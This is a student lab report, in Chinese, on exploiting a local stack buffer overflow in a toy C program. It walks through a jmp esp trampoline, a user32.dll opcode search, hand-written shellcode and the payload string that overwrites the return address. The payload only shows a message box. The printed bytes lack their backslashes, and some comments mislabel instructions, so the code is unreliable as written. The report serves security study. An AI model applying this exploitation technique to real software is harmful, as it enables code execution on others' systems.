一、实验内容
利用一个程序漏洞,编写shellcode,达成效果:蹦出对话框,显示“You have been hacked!(by JWM)”
二、实验原理
因为输入了过长的字符,而缓冲区本身又没有有效的验证机制,导致过长的字符覆盖了返回地址。如果覆盖的返回地址是一个有效地址,而在该地址处又有有效的指令,那么系统就会毫不犹豫地跳到该地址处去执行指令。
本次实验中用到了跳板(jmp esp)
由于操作系统每次加载可执行文件到进程空间的位置都是无法预测的,因此栈的位置实际是不固定的,通过硬编码覆盖新返回地址的方式并不可靠。为了能准确定位shellcode的地址,需要借助一些额外的操作,其中最经典的是借助跳板的栈溢出方式。
如果在函数的返回地址填入一个地址,该地址指向的内存保存了一条特殊的指令jmp esp——跳板。那么函数返回后,会执行该指令并跳转到esp所在的位置。这样,不管程序被加载到哪个位置,最终都会回来执行栈内的代码。
跳板指令从哪找呢?“幸运”的是,在Windows操作系统加载的大量dll中,包含了许多这样的指令,比如kernel32.dll,ntdll.dll,这两个动态链接库是Windows程序默认加载的。而且更“神奇”的是Windows操作系统加载dll时候一般都是固定地址,因此这些dll内的跳板指令的地址一般都是固定的。我们可以离线搜索出跳板执行在dll内的偏移,并加上dll的加载地址,便得到一个适用的跳板指令地址!
OllyDBG命令:
- F8 单步执行
- F2 设置断点
- F7 进入函数
- F9 运行到断点
- Ctrl g 打开地址
三、实验体会
i春秋老师讲解得非常中肯,形象生动,解决了困扰我多时的疑惑。虽然感觉这次步骤多、工程大、用时久,但终究还是解决了困扰我多时的疑惑,比一个人默默看博客要好理解得多。
从前只会用msf生成现成的shellcode,并不懂得其中原理,而这次实验不同,从源码进行分析,手动编写C语言、汇编语言,亲眼见证了shellcode机器码如何生成,加深了对windows系统API库函数、函数调用堆栈、程序逆向的理解,收获颇丰。
本次实验只是本地缓冲区溢出漏洞利用,如何远程利用漏洞,开启shell,还值得进一步学习。
参考资料:
- i春秋《缓冲区溢出分析》
- http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html
四、过程记录
1、带有漏洞的程序
#include "stdio.h"
#include "string.h"
char name[] = "jiangwe";
int main()
{
char buffer[8];
strcpy(buffer, name);
printf("%s",buffer);
getchar();
return 0;
}
2、漏洞利用
(1)选取跳板
如何让程序跳转到esp的位置呢?我们这里可以使用jmp esp这条指令。jmp esp的机器码是0xFFE4,我们可以编写一个程序,来在user32.dll中查找这条指令的地址(当然,jmp esp在很多动态链接库中都存在,这里只是以user32.dll作为例子):
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
BYTE *ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("user32.dll");
if(!handle)
{
printf("load dll error!");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position]==0xFF && ptr[position+1]==0xE4)
{
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
return 0;
}
可以看到,这里列出了非常多的结果。(我自己动手敲的时候VC链接报错,于是直接使用i春秋的图)。我们随便取出一个结果用于实验。这里我选择的是倒数第二行的0x77e35b79。也就是说,需要使用这个地址来覆盖程序的返回地址。这样,程序在返回时,就会执行jmp esp,从而跳到返回地址下一个位置去执行该地址处的语句。
至此可以先总结一下即将要编写的“name”数组中的内容,经过分析可以知道,其形式为AAAAAAAAAAAAXXXXSSSS……SSSS。其中前12个字符为任意字符,XXXX为返回地址,这里我使用的是0x77e35b79,而SSSS是想要让计算机执行的代码。
(2)获取shellcode中API函数的地址
下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以首先需要获取该函数的地址,这可以通过编写一个小程序来获取:
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("user32");
//获取user32.dll的地址
printf("user32 = 0x%x", LibHandle);
//获取MessageBoxA的地址
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
printf("MessageBoxA = 0x%x", ProcAdd);
getchar();
return 0;
}
(3)编写汇编代码
将写汇编之前必要的信息罗列一下:
最终的汇编代码:
int main()
{
_asm{
sub esp,0x50 //抬高栈帧
xor ebx,ebx //清零
push ebx // 分割字符串
push 0x20676e69
push 0x6e726157 // push "Warning"
mov eax,esp //用eax存放“Warning”的指针
push ebx // 分割字符串
push 0x2020292e
push 0x592e4a20
push 0x79622821
push 0x64656b63
push 0x6168206e
push 0x65656220
push 0x65766168
push 0x20756f59 // push "You have been hacked!(by Jwm)"
mov ecx,esp //用ecx存放该字符串的指针
push ebx
push eax
push ecx
push ebx //MessageBox函数参数依次入栈
mov eax,0x77d507ea
call eax // call MessageBox
push ebx //ExitProcess函数参数入栈
mov eax, 0x7c81cafa
call eax // call ExitProcess
}
return 0;
}
(4)得到shellcode机器码
在VC中在程序的“_asm”位置先下一个断点,然后按F5(Go),再单击Disassembly,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):
抽取出这些机器码,写入漏洞程序的数组中:
#include <windows.h>
#include <stdio.h>
#include <string.h>
char name[] = "x41x41x41x41x41x41x41x41" // name[0]~name[7]
"x41x41x41x41" // to Overlap EBP
"x79x5bxe3x77" // Return Address(Address of "Jmp eax")
"x83xECx50" // sub esp,0x50
"x33xDB" // xor ebx,ebx
"x53" // push ebx
"x68x69x6Ex67x20"
"x68x57x61x72x6E" // push "Warning"
"x8BxC4" // mov eax,esp
"x53" // push ebx
"x68x2Ex29x20x20"
"x68x20x4Ax2Ex59"
"x68x21x28x62x79"
"x68x63x6Bx65x64"
"x68x6Ex20x68x61"
"x68x20x62x65x65"
"x68x68x61x76x65"
"x68x59x6Fx75x20" // push "You have been hacked!(by Jwm)"
"x8BxCC" // mov ecx,esp
"x53" // push ebx
"x50" // push eax
"x51" // push ecx
"x53" // push ebx
"xB8xeax07xd5x77"
"xFFxD0" // call MessageBox
“x53”
“xB8xFAxCAx81x7C”
"xFFxD0"; // call MessageBox
int main()
{
char buffer[8];
strcpy(buffer, name);
printf("%s",buffer);
getchar();
return 0;
}